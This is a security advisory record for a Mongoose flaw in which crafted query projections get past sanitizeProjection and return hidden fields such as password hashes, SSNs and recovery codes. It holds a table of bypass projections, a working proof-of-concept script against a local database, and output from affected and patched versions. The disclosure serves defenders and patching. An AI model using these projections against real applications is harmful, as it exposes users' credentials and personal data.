{"id":"CVE-2026-142596","aliases":["GHSA-xfcm-rmv3-crmq"],"url":"https://o3.security/vulnerability/CVE-2026-142596","summary":"Mongoose: sanitizeProjection can be bypassed to include fields deselected with `select: false`","details":"### Summary\n\nSince Mongoose 8.5.0, the `sanitizeProjection` option prevents untrusted projections from including fields that the schema deselects with `select: false`, like password hashes and reset tokens. Several projection forms got around that check, so a user-controlled projection could still return `select: false` fields even with `sanitizeProjection` enabled.\n\nMongoose versions before 8.5.0 do **not** make `sanitizeProjection` block including `select: false` keys - hiding `select: false` keys was a new feature introduced in Mongoose 8.5.0.\n\n### Details\n\nGiven:\n\n```javascript\nconst User = mongoose.model('User', new Schema({\n  name: String,\n  password: { type: String, select: false },\n  profile: { bio: String, ssn: { type: String, select: false } },\n  secrets: { type: Map, of: String, select: false },\n  recoveryCodes: { type: [String], select: false },\n  tags: [String],\n  comments: [{ text: String, secret: { type: String, select: false } }]\n}));\n```\n\neach of the following returned `select: false` data with `sanitizeProjection` enabled:\n\n| Projection | Why it got through |\n| --- | --- |\n| `select('-name +password')` | `+path` was only blocked in inclusive projections |\n| `select('-+password')` | Collapsing `-` paths turned it into `+password` |\n| `select('+secrets')` | `+path` was not blocked for map paths |\n| `select({ name: { $concat: ['$password'] } })`, `select({ name: ['$password'] })` | Object and array values are aggregation expressions; only string values were sanitized |\n| `select({ tags: { $slice: ['$recoveryCodes', 1] } })` | A two-element `$slice` with an expression is an aggregation expression |\n| `select({ name: { $meta: 'sortKey' } }).sort({ password: 1 })`, `{ $meta: 'indexKey' }` | `$meta` returned sort and index key values |\n| `select({ name: '$password' })` called before `sanitizeProjection(true)` | String values were only sanitized if the option was set first |\n| `select({ profile: { ssn: 1 } })`, `select({ profile: { bio: '$password' } })` | Nested sub-projections were not checked |\n| `select('profile')` | Selecting a parent path included its `select: false` children |\n| `select({ 'comments.$': 1 })` | The positional projection returned the whole array element |\n| `select(JSON.parse('{\"__proto__\":{\"password\":0}}'))` | An own `__proto__` key re-pointed the projection object's prototype, hiding `select: false` exclusions |\n| `select({ profile: { bio: 0 } })` | Nested exclusion objects were treated as inclusive, so `select: false` exclusions were not added |\n| `select({ tags: { $elemMatch: { $eq: 'a' } }, name: 0 })` | Treated as inclusive, but MongoDB treats it as exclusive |\n| `select({ name: { x: 1, $elemMatch: { $eq: 'a' } } })` | The `$elemMatch` cast error was swallowed and the whole projection was dropped |\n| `schemaLevelProjections(false)` with any expression above | Disabling schema-level projections also disabled `sanitizeProjection` |\n| `User.findOne({ __t: 'Admin' })` | `select: false` fields defined only on a discriminator were not excluded, even when the filter selects that discriminator |\n\nFor example:\n\n```javascript\nawait User.findOne().sanitizeProjection(true).select('-name +password');\n// { password: '<password hash>', ... }\n\nawait User.findOne().sanitizeProjection(true).select({ name: { $concat: ['$password'] } });\n// { name: '<password hash>' }\n```\n\nNested exclusion objects, `$elemMatch` combined with an exclusion, `$elemMatch` cast errors, and discriminator filters also affect queries that do not use `sanitizeProjection`, because they cause Mongoose to leave out the `select: false` exclusions it normally adds.\n\n### Proof of concept\n\nRequires a MongoDB server on `localhost` and `npm install mongoose@9.12.1` (or any affected version).\n\n```javascript\nconst mongoose = require('mongoose');\nconst { Schema } = mongoose;\n\n(async () => {\n  await mongoose.connect('mongodb://127.0.0.1:27017/sanitize_projection_poc');\n\n  const User = mongoose.model('User', new Schema({\n    name: String,\n    password: { type: String, select: false },\n    profile: { bio: String, ssn: { type: String, select: false } },\n    recoveryCodes: { type: [String], select: false }\n  }));\n  await User.deleteMany({});\n  await User.create({ name: 'alice', password: 'HASH', profile: { bio: 'hi', ssn: '123-45-6789' }, recoveryCodes: ['CODE1'] });\n\n  // Attacker-controlled projections, passed to a query with `sanitizeProjection` enabled\n  const attacks = [\n    '-name +password',\n    '-+password',\n    { name: { $concat: ['$password'] } },\n    { name: ['$password'] },\n    { name: 1, profile: { $slice: ['$recoveryCodes', 1] } },\n    { profile: { ssn: 1 } },\n    'profile',\n    JSON.parse('{\"__proto__\":{\"password\":0}}'),\n    { name: { x: 1, $elemMatch: { $eq: 'alice' } } }\n  ];\n  for (const projection of attacks) {\n    const doc = await User.findOne().sanitizeProjection(true).select(projection).lean().catch(err => err.message);\n    console.log(JSON.stringify(projection), '=>', JSON.stringify(doc));\n  }\n\n  await mongoose.disconnect();\n})();\n```\n\nOutput on an affected version, with `_id` and `__v` removed. Every line includes a `select: false` value:\n\n```\n\"-name +password\" => {\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"HASH\"}\n{\"name\":[\"$password\"]} => {\"name\":[\"HASH\"]}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\",\"profile\":[\"CODE1\"]}\n{\"profile\":{\"ssn\":1}} => {\"profile\":{\"ssn\":\"123-45-6789\"}}\n\"profile\" => {\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => {\"name\":\"alice\",\"password\":\"HASH\",\"profile\":{\"bio\":\"hi\",\"ssn\":\"123-45-6789\"},\"recoveryCodes\":[\"CODE1\"]}\n```\n\nOutput on a patched version. No `select: false` values are returned, and the last projection rejects:\n\n```\n\"-name +password\" => {\"profile\":{\"bio\":\"hi\"}}\n\"-+password\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"$concat\":[\"$password\"]}} => {\"name\":\"alice\"}\n{\"name\":[\"$password\"]} => {\"name\":\"alice\"}\n{\"name\":1,\"profile\":{\"$slice\":[\"$recoveryCodes\",1]}} => {\"name\":\"alice\"}\n{\"profile\":{\"ssn\":1}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n\"profile\" => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"__proto__\":{\"password\":0}} => {\"name\":\"alice\",\"profile\":{\"bio\":\"hi\"}}\n{\"name\":{\"x\":1,\"$elemMatch\":{\"$eq\":\"alice\"}}} => \"Can't use x with String.\"\n```\n\n### Impact\n\nApplications are affected if they pass user-controlled data into `select()`, `find(filter, projection)`, or the `projection` option, and rely on `sanitizeProjection` to keep `select: false` fields hidden. An attacker can read those fields, which typically hold password hashes, reset tokens, API keys, or other secrets.","published":"2026-12-02T21:50:31.552Z","modified":"2026-12-03T21:02:13.966289190Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"mongoose","fixedVersion":"8.24.10"},{"ecosystem":"npm","name":"mongoose","fixedVersion":"9.12.2"}],"fix":{"url":"https://github.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4","label":"Automattic/mongoose@c369da4"},"references":[{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/8.24.10"},{"type":"WEB","url":"https://github.com/Automattic/mongoose/releases/tag/9.12.2"},{"type":"ADVISORY","url":"https://github.com/Automattic/mongoose/security/advisories/GHSA-xfcm-rmv3-crmq"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/142xxx/CVE-2026-142596.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-142596"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/c369da407ee8bea907bb5af7bb94ce5deeb3e0e4"},{"type":"FIX","url":"https://github.com/Automattic/mongoose/commit/c5483b71438ececde3a272feef65e14666614093"},{"type":"PACKAGE","url":"https://github.com/Automattic/mongoose"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-12-03T21:02:13.966289190Z"}}